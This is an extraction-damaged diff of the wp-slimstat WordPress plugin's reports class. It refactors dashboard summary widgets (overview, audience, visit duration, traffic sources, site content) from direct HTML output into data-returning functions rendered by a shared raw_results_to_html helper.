$element_value = '<a target="_blank" class="slimstat-font-logout" title="'.__('Open this URL in a new window','wp-slimstat').'" href="'.$element_url.'"></a> '.$element_value;
|
1052 |
-
}
|
1053 |
-
if (!empty($results[$i]['ip']) && $_args[ 'columns' ] != 'ip' && wp_slimstat::$options['convert_ip_addresses'] != 'yes'){
|
1054 |
-
$row_details .= '<br> IP: <a class="slimstat-filter-link" href="'.self::fs_url('ip equals '.$results[$i]['ip']).'">'.$results[$i]['ip'].'</a>'.(!empty($results[$i]['other_ip'])?' / '.$results[$i]['other_ip']:'').'<a title="WHOIS: '.$results[$i]['ip'].'" class="slimstat-font-location-1 whois" href="'.wp_slimstat::$options['ip_lookup_service'].$results[$i]['ip'].'"></a>';
|
1055 |
-
}
|
1056 |
-
if (!empty($row_details)){
|
1057 |
-
$row_details = "<b class='slimstat-row-details$is_expanded'>$row_details</b>";
|
1058 |
-
}
|
1059 |
|
1060 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1061 |
}
|
1062 |
|
1063 |
if ( defined( 'DOING_AJAX' ) && DOING_AJAX ) {
|
@@ -1204,215 +1216,234 @@ class wp_slimstat_reports {
|
|
1204 |
}
|
1205 |
}
|
1206 |
|
1207 |
-
public static function
|
|
|
|
|
1208 |
|
1209 |
-
|
1210 |
-
|
1211 |
-
|
1212 |
-
<p><?php _e('Javascript Mode', 'wp-slimstat') ?> <span><?php _e(ucfirst(wp_slimstat::$options['javascript_mode']), 'wp-slimstat') ?></span></p>
|
1213 |
-
<p><?php _e('Tracking Browser Caps', 'wp-slimstat') ?> <span><?php _e(ucfirst(wp_slimstat::$options['enable_javascript']), 'wp-slimstat') ?></span></p>
|
1214 |
-
<p><?php _e('Auto purge', 'wp-slimstat') ?> <span><?php echo (wp_slimstat::$options['auto_purge'] > 0)?wp_slimstat::$options['auto_purge'].' '.__('days','wp-slimstat'):__('No','wp-slimstat') ?></span></p>
|
1215 |
-
<p><?php _e('Oldest pageview', 'wp-slimstat') ?> <span><?php $dt = wp_slimstat_db::get_oldest_visit('1=1', false); echo ($dt == null)?__('No visits','wp-slimstat'):date_i18n(wp_slimstat::$options['date_format'], $dt) ?></span></p>
|
1216 |
-
<p>Geo IP <span><?php echo date_i18n(wp_slimstat::$options['date_format'], @filemtime(wp_slimstat::$maxmind_path)) ?></span></p><?php
|
1217 |
|
1218 |
-
|
1219 |
-
|
1220 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1221 |
}
|
1222 |
|
1223 |
-
public static function
|
1224 |
-
$days_in_range = ceil( ( wp_slimstat_db::$filters_normalized[ 'utime' ][ 'end' ] - wp_slimstat_db::$filters_normalized[ 'utime' ][ 'start' ] ) / 86400 );
|
1225 |
-
|
1226 |
-
<p><?php self::inline_help(__('A request to load a single HTML file. Slimstat logs a "pageview" each time the tracking code is executed.','wp-slimstat'));
|
1227 |
-
_e('Pageviews', 'wp-slimstat'); ?> <span><?php echo number_format(self::$pageviews, 0, '', wp_slimstat_db::$formats['thousand']) ?></span></p>
|
1228 |
-
<p><?php _e('Days in Range', 'wp-slimstat') ?> <span><?php echo $days_in_range ?></span></p>
|
1229 |
-
<p><?php self::inline_help(__('How many pages have been visited on average every day during the current period.','wp-slimstat'));
|
1230 |
-
_e('Average Daily Pageviews', 'wp-slimstat') ?> <span><?php echo number_format( intval( self::$pageviews/$days_in_range ), 0, '', wp_slimstat_db::$formats['thousand'] ) ?></span></p>
|
1231 |
-
<p><?php self::inline_help(__('Visitors who landed on your site after searching for a keyword on Google, Yahoo, etc.','wp-slimstat'));
|
1232 |
-
_e('From Search Results', 'wp-slimstat') ?> <span><?php echo number_format(wp_slimstat_db::count_records('id', 'searchterms IS NOT NULL'), 0, '', wp_slimstat_db::$formats['thousand']) ?></span></p>
|
1233 |
-
<p><?php self::inline_help(__('Used to differentiate between multiple requests to download a file from one internet address (IP) and requests originating from many distinct addresses','wp-slimstat'));
|
1234 |
-
_e('Unique IPs', 'wp-slimstat'); ?> <span><?php echo number_format(wp_slimstat_db::count_records('ip'), 0, '', wp_slimstat_db::$formats['thousand']) ?></span></p>
|
1235 |
-
<p><?php _e('Last 30 minutes', 'wp-slimstat') ?> <span><?php echo number_format(wp_slimstat_db::count_records('id', 'dt > '.(date_i18n('U')-1800), false), 0, '', wp_slimstat_db::$formats['thousand']) ?></span></p>
|
1236 |
-
<p><?php _e('Today', 'wp-slimstat'); ?> <span><?php echo number_format(wp_slimstat_db::count_records('id', 'dt > '.(date_i18n('U', mktime(0, 0, 0, date_i18n('m'), date_i18n('d'), date_i18n('Y')))), false), 0, '', wp_slimstat_db::$formats['thousand']) ?></span></p>
|
1237 |
-
<p><?php _e('Yesterday', 'wp-slimstat'); ?> <span><?php echo number_format(wp_slimstat_db::count_records('id', 'dt BETWEEN '.(date_i18n('U', mktime(0, 0, 0, date_i18n('m'), date_i18n('d')-1, date_i18n('Y')))).' AND '.(date_i18n('U', mktime(23, 59, 59, date_i18n('m'), date_i18n('d')-1, date_i18n('Y')))), false), 0, '', wp_slimstat_db::$formats['thousand']) ?></span></p><?php
|
1238 |
|
1239 |
-
|
1240 |
-
|
1241 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1242 |
}
|
1243 |
|
1244 |
-
public static function
|
1245 |
$wp_slim_plugins = array( 'flash', 'silverlight', 'acrobat', 'java', 'mediaplayer', 'director', 'real', 'quicktime' );
|
1246 |
$total_human_hits = wp_slimstat_db::count_records( 'id', 'visit_id > 0 AND browser_type <> 1' );
|
1247 |
-
|
1248 |
-
|
|
|
1249 |
$count_results = wp_slimstat_db::count_records( 'id', "plugins LIKE '%{$a_plugin}%'" );
|
1250 |
-
|
1251 |
-
|
1252 |
-
|
1253 |
}
|
1254 |
|
1255 |
-
|
1256 |
-
die();
|
1257 |
-
}
|
1258 |
}
|
1259 |
|
1260 |
-
public static function
|
|
|
1261 |
$total_human_hits = wp_slimstat_db::count_records( 'id', 'visit_id > 0 AND browser_type <> 1');
|
1262 |
-
$total_human_visits = wp_slimstat_db::count_records('visit_id', 'visit_id > 0 AND browser_type <> 1');
|
1263 |
$new_visitors = wp_slimstat_db::count_records_having( 'ip', 'visit_id > 0 AND browser_type <> 1', 'COUNT(visit_id) = 1' );
|
1264 |
-
$new_visitors_rate = ( $total_human_hits > 0) ?
|
1265 |
-
|
1266 |
-
|
|
|
|
|
1267 |
|
1268 |
-
|
1269 |
-
|
1270 |
-
|
1271 |
-
<?php _e( 'Unique IPs', 'wp-slimstat' ) ?> <span><?php echo number_format( wp_slimstat_db::count_records('ip', 'visit_id > 0 AND browser_type <> 1'), 0, '', wp_slimstat_db::$formats['thousand'] ) ?></span></p>
|
1272 |
-
<p><?php self::inline_help( __( 'Percentage of single-page visits, i.e. visits in which the person left your site from the entrance page.', 'wp-slimstat' ) ) ?>
|
1273 |
-
<?php _e( 'Bounce rate', 'wp-slimstat' ) ?> <span><?php echo number_format( $new_visitors_rate, 2, wp_slimstat_db::$formats['decimal'], wp_slimstat_db::$formats['thousand'] ) ?>%</span></p>
|
1274 |
-
<p><?php self::inline_help( __( 'Visitors who had previously left a comment on your blog.', 'wp-slimstat' ) ) ?>
|
1275 |
-
<?php _e( 'Known visitors', 'wp-slimstat') ?> <span><?php echo wp_slimstat_db::count_records( 'username' ) ?></span></p>
|
1276 |
-
<p><?php self::inline_help( __( 'Human users who visited your site only once.', 'wp-slimstat' ) ) ?>
|
1277 |
-
<?php _e( 'New visitors', 'wp-slimstat' ) ?> <span><?php echo number_format( $new_visitors, 0, '', wp_slimstat_db::$formats['thousand'] ) ?></span></p>
|
1278 |
-
<p><?php _e( 'Bots', 'wp-slimstat' ) ?> <span><?php echo number_format( wp_slimstat_db::count_records( 'id', 'browser_type = 1' ), 0, '', wp_slimstat_db::$formats['thousand'] ) ?></span></p>
|
1279 |
-
<p><?php _e( 'Pages per visit', 'wp-slimstat' ) ?> <span><?php echo number_format( $metrics_per_visit[0]['avghits'], 2, wp_slimstat_db::$formats['decimal'], wp_slimstat_db::$formats['thousand'] ) ?></span></p>
|
1280 |
-
<p><?php _e( 'Longest visit', 'wp-slimstat' ) ?> <span><?php echo number_format( $metrics_per_visit[0]['maxhits'], 0, '', wp_slimstat_db::$formats['thousand'] ).' '.__('hits','wp-slimstat') ?></span></p><?php
|
1281 |
|
1282 |
-
|
1283 |
-
|
1284 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1285 |
}
|
1286 |
|
1287 |
-
public static function
|
1288 |
-
$total_human_visits = wp_slimstat_db::count_records('visit_id', 'visit_id > 0 AND browser_type <> 1');
|
1289 |
-
$
|
1290 |
-
|
1291 |
-
$
|
1292 |
-
$average_time = 30 * $
|
1293 |
-
|
1294 |
-
|
1295 |
-
$
|
1296 |
-
|
1297 |
-
$
|
1298 |
-
$average_time += 60 * $
|
1299 |
-
|
1300 |
-
|
1301 |
-
$
|
1302 |
-
|
1303 |
-
$
|
1304 |
-
$average_time += 180 * $
|
1305 |
-
|
1306 |
-
|
1307 |
-
$
|
1308 |
-
|
1309 |
-
$
|
1310 |
-
$average_time += 300 * $
|
1311 |
-
|
1312 |
-
|
1313 |
-
$
|
1314 |
-
|
1315 |
-
$
|
1316 |
-
$average_time += 420 * $
|
1317 |
-
|
1318 |
-
|
1319 |
-
$
|
1320 |
-
|
1321 |
-
$
|
1322 |
-
$average_time += 600* $
|
1323 |
-
|
1324 |
-
|
1325 |
-
$
|
1326 |
-
|
1327 |
-
$
|
1328 |
-
$average_time += 900 * $
|
1329 |
-
|
1330 |
-
|
1331 |
-
|
|
|
|
|
1332 |
$average_time /= $total_human_visits;
|
1333 |
$average_time = date('m:s', intval($average_time));
|
1334 |
}
|
1335 |
else{
|
1336 |
$average_time = '0:00';
|
1337 |
}
|
1338 |
-
echo '<p>'.__('Average time on site','wp-slimstat')." <span>$average_time </span></p>";
|
1339 |
|
1340 |
-
|
1341 |
-
|
1342 |
-
|
|
|
|
|
1343 |
}
|
1344 |
|
1345 |
-
public static function
|
1346 |
-
$
|
|
|
1347 |
$new_visitors = wp_slimstat_db::count_records_having( 'ip', 'visit_id > 0', 'COUNT(visit_id) = 1' );
|
1348 |
$new_visitors_rate = ($total_human_hits > 0)?sprintf("%01.2f", (100*$new_visitors/$total_human_hits)):0;
|
1349 |
-
if (intval($new_visitors_rate) > 99)
|
1350 |
-
|
1351 |
-
<p><?php self::inline_help(__('A request to load a single HTML file. Slimstat logs a "pageview" each time the tracking code is executed.','wp-slimstat')) ?>
|
1352 |
-
<?php _e('Pageviews', 'wp-slimstat') ?> <span><?php echo number_format(self::$pageviews, 0, '', wp_slimstat_db::$formats['thousand']) ?></span></p>
|
1353 |
-
<p><?php self::inline_help(__('A referrer (or referring site) is the site that a visitor previously visited before following a link to your site.','wp-slimstat')) ?>
|
1354 |
-
<?php _e('Unique Referrers', 'wp-slimstat') ?> <span><?php echo number_format(wp_slimstat_db::count_records('referer', "referer NOT LIKE '%{$_SERVER['SERVER_NAME']}%'"), 0, '', wp_slimstat_db::$formats['thousand']) ?></span></p>
|
1355 |
-
<p><?php self::inline_help(__("Visitors who visited the site by typing the URL directly into their browser. <em>Direct</em> can also refer to the visitors who clicked on the links from their bookmarks/favorites, untagged links within emails, or links from documents that don't include tracking variables.",'wp-slimstat')) ?>
|
1356 |
-
<?php _e('Direct Pageviews', 'wp-slimstat') ?> <span><?php echo number_format(wp_slimstat_db::count_records('id', 'resource IS NULL'), 0, '', wp_slimstat_db::$formats['thousand']) ?></span></p>
|
1357 |
-
<p><?php self::inline_help(__("Visitors who came to your site via searches on Google or some other search engine.",'wp-slimstat')) ?>
|
1358 |
-
<?php _e('From a search result', 'wp-slimstat') ?> <span><?php echo number_format(wp_slimstat_db::count_records('id', "searchterms IS NOT NULL AND referer IS NOT NULL AND referer NOT LIKE '%".home_url()."%'"), 0, '', wp_slimstat_db::$formats['thousand']) ?></span></p>
|
1359 |
-
<p><?php self::inline_help(__("The first page that a user views during a session. This is also known as the <em>entrance page</em>. For example, if they search for 'Brooklyn Office Space,' and they land on your home page, it gets counted (for that visit) as a landing page.",'wp-slimstat')) ?>
|
1360 |
-
<?php _e('Unique Landing Pages', 'wp-slimstat') ?> <span><?php echo number_format (wp_slimstat_db::count_records( 'resource' ), 0, '', wp_slimstat_db::$formats[ 'thousand' ] ) ?></span></p>
|
1361 |
-
<p><?php self::inline_help(__("Number of single-page visits to your site over the selected period.",'wp-slimstat')) ?>
|
1362 |
-
<?php _e('Bounce Pages', 'wp-slimstat') ?> <span><?php echo number_format(wp_slimstat_db::count_bouncing_pages(), 0, '', wp_slimstat_db::$formats['thousand']) ?></span></p>
|
1363 |
-
<p><?php self::inline_help(__('Percentage of single-page visits, i.e. visits in which the person left your site from the entrance page.','wp-slimstat')) ?>
|
1364 |
-
<?php _e('New Visitors Rate', 'wp-slimstat') ?> <span><?php echo number_format($new_visitors_rate, 2, wp_slimstat_db::$formats['decimal'], wp_slimstat_db::$formats['thousand']) ?>%</span></p>
|
1365 |
-
<p><?php self::inline_help(__("Visitors who visited the site in the last 5 minutes coming from a search engine.",'wp-slimstat')) ?>
|
1366 |
-
<?php _e('Currently from search engines', 'wp-slimstat') ?> <span><?php echo number_format(wp_slimstat_db::count_records('id', "searchterms IS NOT NULL AND referer IS NOT NULL AND referer NOT LIKE '%".home_url()."%' AND dt > UNIX_TIMESTAMP()-300", false), 0, '', wp_slimstat_db::$formats['thousand']) ?></span></p><?php
|
1367 |
-
|
1368 |
-
if ( defined( 'DOING_AJAX' ) && DOING_AJAX ) {
|
1369 |
-
die();
|
1370 |
}
|
1371 |
-
}
|
1372 |
|
1373 |
-
|
1374 |
-
$
|
|
|
1375 |
|
1376 |
-
$results =
|
1377 |
-
|
1378 |
-
|
1379 |
-
wp_slimstat::$options[ 'rows_to_show' ]
|
1380 |
-
);
|
1381 |
|
1382 |
-
|
1383 |
-
$
|
|
|
1384 |
|
1385 |
-
|
1386 |
-
|
1387 |
-
|
1388 |
-
if ( defined( 'DOING_AJAX' ) && DOING_AJAX ) {
|
1389 |
-
die();
|
1390 |
-
}
|
1391 |
-
else{
|
1392 |
-
return array();
|
1393 |
-
}
|
1394 |
-
}
|
1395 |
|
1396 |
-
|
1397 |
-
$
|
|
|
1398 |
|
1399 |
-
|
1400 |
-
|
|
|
1401 |
|
1402 |
-
|
1403 |
-
|
1404 |
-
|
1405 |
-
}
|
1406 |
-
if ( !empty( $a_result[ 'counthits' ] ) ) {
|
1407 |
-
echo '<br/>' . __( 'Hits', 'wp-slimstat' ) . ": {$a_result[ 'counthits' ]}";
|
1408 |
-
}
|
1409 |
|
1410 |
-
|
1411 |
-
|
|
|
1412 |
|
1413 |
-
|
1414 |
-
die();
|
1415 |
-
}
|
1416 |
}
|
1417 |
|
1418 |
public static function show_rankings(){
|
@@ -1500,6 +1531,91 @@ class wp_slimstat_reports {
|
|
1500 |
}
|
1501 |
}
|
1502 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1503 |
public static function show_getsocial() {
|
1504 |
if ( !empty( $_POST[ 'fs' ][ 'addon_enable_getsocial' ] ) ) {
|
1505 |
wp_slimstat::$options[ 'enable_getsocial' ] = 'yes';
|
@@ -1644,42 +1760,6 @@ class wp_slimstat_reports {
|
|
1644 |
die();
|
1645 |
}
|
1646 |
}
|
1647 |
-
|
1648 |
-
public static function show_your_blog(){
|
1649 |
-
if (false === ($your_content = get_transient( 'slimstat_your_content' ))){
|
1650 |
-
$your_content = array();
|
1651 |
-
$your_content['content_items'] = $GLOBALS['wpdb']->get_var("SELECT COUNT(*) FROM {$GLOBALS['wpdb']->posts} WHERE post_type <> 'revision' AND post_status <> 'auto-draft'");
|
1652 |
-
$your_content['posts'] = $GLOBALS['wpdb']->get_var("SELECT COUNT(*) FROM {$GLOBALS['wpdb']->posts} WHERE post_type = 'post'");
|
1653 |
-
$your_content['comments'] = $GLOBALS['wpdb']->get_var("SELECT COUNT(*) FROM {$GLOBALS['wpdb']->comments}");
|
1654 |
-
$your_content['pingbacks'] = $GLOBALS['wpdb']->get_var("SELECT COUNT(*) FROM {$GLOBALS['wpdb']->comments} WHERE comment_type = 'pingback'");
|
1655 |
-
$your_content['trackbacks'] = $GLOBALS['wpdb']->get_var("SELECT COUNT(*) FROM {$GLOBALS['wpdb']->comments} WHERE comment_type = 'trackback'");
|
1656 |
-
$your_content['oldest_post_timestamp'] = $GLOBALS['wpdb']->get_var("SELECT UNIX_TIMESTAMP(post_date) FROM {$GLOBALS['wpdb']->posts} WHERE post_status = 'publish' AND post_type = 'post' ORDER BY post_date ASC LIMIT 0,1");
|
1657 |
-
$your_content['avg_comments_per_post'] = !empty($your_content['posts'])?$your_content['comments']/$your_content['posts']:0;
|
1658 |
-
$days_in_interval = floor((date_i18n('U')-$your_content['oldest_post_timestamp'])/86400);
|
1659 |
-
$your_content['avg_posts_per_day'] = ($days_in_interval > 0)?$your_content['posts']/$days_in_interval:$your_content['posts'];
|
1660 |
-
|
1661 |
-
$your_content['avg_server_latency'] = $GLOBALS['wpdb']->get_var("SELECT AVG(server_latency) FROM {$GLOBALS['wpdb']->prefix}slim_stats WHERE server_latency <> 0");
|
1662 |
-
$your_content['avg_page_speed'] = $GLOBALS['wpdb']->get_var("SELECT AVG(page_performance) FROM {$GLOBALS['wpdb']->prefix}slim_stats WHERE page_performance <> 0");
|
1663 |
-
|
1664 |
-
// Store values as transients for 30 minutes
|
1665 |
-
set_transient('slimstat_your_content', $your_content, 1800);
|
1666 |
-
}
|
1667 |
-
?>
|
1668 |
-
|
1669 |
-
<p><?php self::inline_help(__("This value includes not only posts, but also custom post types, regardless of their status",'wp-slimstat')) ?>
|
1670 |
-
<?php _e('Content Items', 'wp-slimstat') ?> <span><?php echo number_format($your_content['content_items'], 0, '', wp_slimstat_db::$formats['thousand']) ?></span></p>
|
1671 |
-
<p><?php _e('Total Comments', 'wp-slimstat') ?> <span><?php echo number_format($your_content['comments'], 0, '', wp_slimstat_db::$formats['thousand']) ?></span></p>
|
1672 |
-
<p><?php _e('Pingbacks', 'wp-slimstat') ?> <span><?php echo number_format($your_content['pingbacks'], 0, '', wp_slimstat_db::$formats['thousand']) ?></span></p>
|
1673 |
-
<p><?php _e('Trackbacks', 'wp-slimstat') ?> <span><?php echo number_format($your_content['trackbacks'], 0, '', wp_slimstat_db::$formats['thousand']) ?></span></p>
|
1674 |
-
<p><?php _e('Avg Comments Per Post', 'wp-slimstat') ?> <span><?php echo number_format($your_content['avg_comments_per_post'], 2, wp_slimstat_db::$formats['decimal'], wp_slimstat_db::$formats['thousand']) ?></span></p>
|
1675 |
-
<p><?php _e('Avg Posts Per Day', 'wp-slimstat') ?> <span><?php echo number_format($your_content['avg_posts_per_day'], 2, wp_slimstat_db::$formats['decimal'], wp_slimstat_db::$formats['thousand']) ?></span></p>
|
1676 |
-
<p><?php _e('Avg Server Latency', 'wp-slimstat') ?> <span><?php echo number_format($your_content['avg_server_latency'], 0, '', wp_slimstat_db::$formats['thousand']) ?> ms</span></p>
|
1677 |
-
<p><?php _e('Avg Page Load Time', 'wp-slimstat') ?> <span><?php echo number_format($your_content['avg_page_speed'], 0, '', wp_slimstat_db::$formats['thousand']) ?> ms</span></p><?php
|
1678 |
-
|
1679 |
-
if ( defined( 'DOING_AJAX' ) && DOING_AJAX ) {
|
1680 |
-
die();
|
1681 |
-
}
|
1682 |
-
}
|
1683 |
|
1684 |
public static function get_search_terms_info($_searchterms = '', $_referer = '', $_serp_only = false){
|
1685 |
$query_details = '';
|
@@ -1763,6 +1843,7 @@ class wp_slimstat_reports {
|
|
1763 |
|
1764 |
if (!empty($filters_normalized['columns'])){
|
1765 |
foreach($filters_normalized['columns'] as $a_key => $a_filter){
|
|
|
1766 |
$filtered_url .= "&fs%5B$a_key%5D=".urlencode($a_filter[0].' '.$a_filter[1]);
|
1767 |
}
|
1768 |
}
|
@@ -1798,6 +1879,7 @@ class wp_slimstat_reports {
|
|
1798 |
|
1799 |
// Is this a post or a page?
|
1800 |
$post_id = url_to_postid( $_resource );
|
|
|
1801 |
if ( $post_id > 0 ) {
|
1802 |
$resource_title = get_the_title( $post_id );
|
1803 |
}
|
105 |
),
|
106 |
'slim_p1_02' => array(
|
107 |
'title' => __( 'About Slimstat', 'wp-slimstat' ),
|
108 |
+
//'callback' => array( __CLASS__, 'show_about_wpslimstat' ),
|
109 |
+
'callback' => array( __CLASS__, 'raw_results_to_html' ),
|
110 |
+
'callback_args' => array(
|
111 |
+
'raw' => array( __CLASS__, 'get_about_wpslimstat' )
|
112 |
+
),
|
113 |
'classes' => array( 'normal', 'hidden' ),
|
114 |
'screens' => array( 'wp-slim-view-2' )
|
115 |
),
|
116 |
'slim_p1_03' => array(
|
117 |
'title' => __( 'At a Glance', 'wp-slimstat' ),
|
118 |
+
// 'callback' => array( __CLASS__, 'show_overview_summary' ),
|
119 |
+
'callback' => array( __CLASS__, 'raw_results_to_html' ),
|
120 |
+
'callback_args' => array(
|
121 |
+
'raw' => array( __CLASS__, 'get_overview_summary' )
|
122 |
+
),
|
123 |
'classes' => array( 'normal' ),
|
124 |
'screens' => array( 'wp-slim-view-2', 'dashboard' )
|
125 |
),
|
155 |
'callback_args' => array(
|
156 |
'type' => 'top',
|
157 |
'columns' => 'SUBSTRING_INDEX(resource, "' . ( !get_option( 'permalink_structure' ) ? '&' : '?' ) . '", 1)',
|
158 |
+
'as_column' => 'resource_calculated',
|
159 |
'filter_op' => 'contains',
|
160 |
'raw' => array( 'wp_slimstat_db', 'get_top' )
|
161 |
),
|
222 |
'callback_args' => array(
|
223 |
'type' => 'top',
|
224 |
'columns' => 'SUBSTRING(language, 1, 2)',
|
225 |
+
'as_column' => 'language_calculated',
|
226 |
'filter_op' => 'contains',
|
227 |
'raw' => array( 'wp_slimstat_db', 'get_top' )
|
228 |
),
|
242 |
),
|
243 |
'slim_p2_02' => array(
|
244 |
'title' => __( 'Audience Overview', 'wp-slimstat' ),
|
245 |
+
'callback' => array( __CLASS__, 'raw_results_to_html' ),
|
246 |
+
'callback_args' => array(
|
247 |
+
'raw' => array( __CLASS__, 'get_visitors_summary' )
|
248 |
+
),
|
249 |
'classes' => array( 'normal' ),
|
250 |
'screens' => array( 'wp-slim-view-3', 'dashboard' ),
|
251 |
'tooltip' => __( 'Where not otherwise specified, the metrics in this report are referred to human visitors.', 'wp-slimstat' )
|
320 |
),
|
321 |
'slim_p2_09' => array(
|
322 |
'title' => __( 'Browser Capabilities', 'wp-slimstat' ),
|
323 |
+
'callback' => array( __CLASS__, 'raw_results_to_html' ),
|
324 |
+
'callback_args' => array(
|
325 |
+
'raw' => array( __CLASS__, 'get_plugins' )
|
326 |
+
),
|
327 |
'classes' => array( 'normal', 'hidden' ),
|
328 |
'screens' => array( 'wp-slim-view-3' )
|
329 |
),
|
330 |
'slim_p2_12' => array(
|
331 |
'title' => __( 'Visit Duration', 'wp-slimstat' ),
|
332 |
+
'callback' => array( __CLASS__, 'raw_results_to_html' ),
|
333 |
+
'callback_args' => array(
|
334 |
+
'raw' => array( __CLASS__, 'get_visits_duration' )
|
335 |
+
),
|
336 |
'classes' => array( 'normal', 'hidden' ),
|
337 |
+
'screens' => array( 'wp-slim-view-3' ),
|
338 |
+
'tooltip' => __( 'All values represent the percentages of pageviews within the corresponding time range.', 'wp-slimstat' )
|
339 |
),
|
340 |
'slim_p2_13' => array(
|
341 |
'title' => __( 'Recent Countries', 'wp-slimstat' ),
|
410 |
'callback_args' => array(
|
411 |
'type' => 'top',
|
412 |
'columns' => 'CONCAT("p-", SUBSTRING(platform, 1, 3))',
|
413 |
+
'as_column' => 'platform_calculated',
|
414 |
'filter_op' => 'contains',
|
415 |
'raw' => array( 'wp_slimstat_db', 'get_top' )
|
416 |
),
|
454 |
'tooltip' => $chart_tooltip
|
455 |
),
|
456 |
'slim_p3_02' => array(
|
457 |
+
'title' => __( 'Traffic Summary', 'wp-slimstat' ),
|
458 |
+
'callback' => array( __CLASS__, 'raw_results_to_html' ),
|
459 |
+
'callback_args' => array(
|
460 |
+
'raw' => array( __CLASS__, 'get_traffic_sources_summary' )
|
461 |
+
),
|
462 |
'classes' => array( 'normal' ),
|
463 |
'screens' => array( 'wp-slim-view-5' )
|
464 |
),
|
707 |
),
|
708 |
'slim_p4_22' => array(
|
709 |
'title' => __( 'Your Website', 'wp-slimstat' ),
|
710 |
+
'callback' => array( __CLASS__, 'raw_results_to_html' ),
|
711 |
+
'callback_args' => array(
|
712 |
+
'raw' => array( __CLASS__, 'get_your_blog' )
|
713 |
+
),
|
714 |
'classes' => array( 'normal', 'hidden' ),
|
715 |
'screens' => array( 'wp-slim-view-4' ),
|
716 |
'tooltip' => __( 'Your content at a glance: posts, comments, pingbacks, etc. Please note that this report is not affected by the filters set here above.', 'wp-slimstat' )
|
844 |
|
845 |
$endpoint = min($_count_all_results, wp_slimstat_db::$filters_normalized['misc']['start_from'] + $_results_per_page);
|
846 |
$pagination_buttons = '';
|
847 |
+
$direction_prev = is_rtl() ? 'right' : 'left';
|
848 |
+
$direction_next = is_rtl() ? 'left' : 'right';
|
849 |
|
850 |
if ($endpoint + $_results_per_page < $_count_all_results && $_count_page_results > 0){
|
851 |
$startpoint = $_count_all_results - $_count_all_results % $_results_per_page;
|
866 |
$pagination_buttons .= '<a class="button-ajax slimstat-font-angle-double-'.$direction_prev.'" href="'.wp_slimstat_reports::fs_url('start_from equals 0').'"></a> ';
|
867 |
}
|
868 |
|
869 |
+
$pagination = '<p class="pagination">'.sprintf(__('Results %s - %s of %s', 'wp-slimstat'), number_format(wp_slimstat_db::$filters_normalized['misc']['start_from'] + 1, 0, '', wp_slimstat_db::$formats['thousand']), number_format($endpoint, 0, '', wp_slimstat_db::$formats['thousand']), number_format($_count_all_results, 0, '', wp_slimstat_db::$formats['thousand']) . ( ( $_count_all_results == wp_slimstat::$options[ 'limit_results' ] ) ? '+' : '') );
|
870 |
if ($_show_refresh_countdown && wp_slimstat::$options['refresh_interval'] > 0 && !wp_slimstat_db::$filters_normalized['date']['is_past']){
|
871 |
+
$pagination .= ' ['.__('Refresh in','wp-slimstat').' <i class="refresh-timer"></i>]';
|
872 |
}
|
873 |
$pagination .= $pagination_buttons.'</p>';
|
874 |
|
875 |
echo $pagination;
|
876 |
}
|
877 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
878 |
public static function callback_wrapper() {
|
879 |
$_args = self::_check_args( func_get_args() );
|
|
|
880 |
call_user_func( $_args[ 'callback' ] , $_args[ 'callback_args' ] );
|
881 |
}
|
882 |
|
883 |
public static function raw_results_to_html( $_args = array() ) {
|
|
|
884 |
wp_slimstat_db::$debug_message = '';
|
885 |
$all_results = call_user_func( $_args[ 'raw' ] , $_args );
|
886 |
|
887 |
echo wp_slimstat_db::$debug_message;
|
888 |
|
889 |
+
// Some reports don't need any kind of pre/post-processing, we just display the data contained in the array
|
890 |
+
if ( empty( $_args[ 'columns' ] ) ) {
|
891 |
+
foreach ( $all_results as $a_result ) {
|
892 |
+
echo '<p>';
|
|
|
893 |
|
894 |
+
if ( !empty( $a_result[ 'tooltip' ] ) ) {
|
895 |
+
self::inline_help( $a_result[ 'tooltip' ] );
|
896 |
+
}
|
897 |
|
898 |
+
echo "{$a_result[ 'metric' ]} <span>{$a_result[ 'value' ]}</span>";
|
899 |
+
|
900 |
+
if ( !empty( $a_result[ 'details' ] ) ) {
|
901 |
+
$is_expanded = ( wp_slimstat::$options[ 'expand_details' ] == 'yes' ) ? ' expanded' : '';
|
902 |
+
echo "<b class='slimstat-row-details$is_expanded'>{$a_result[ 'details' ]}</b>";
|
903 |
+
}
|
904 |
+
|
905 |
+
echo '</p>';
|
906 |
}
|
907 |
}
|
908 |
+
else {
|
909 |
+
$results = array_slice(
|
910 |
+
$all_results,
|
911 |
+
wp_slimstat_db::$filters_normalized[ 'misc' ][ 'start_from' ],
|
912 |
+
wp_slimstat::$options[ 'rows_to_show' ]
|
913 |
+
);
|
914 |
+
|
915 |
+
// Count the results
|
916 |
+
$count_page_results = count( $results );
|
917 |
+
|
918 |
+
if ($count_page_results == 0){
|
919 |
+
echo '<p class="nodata">'.__('No data to display','wp-slimstat').'</p>';
|
920 |
+
|
921 |
+
if ( defined( 'DOING_AJAX' ) && DOING_AJAX ) {
|
922 |
+
die();
|
923 |
+
}
|
924 |
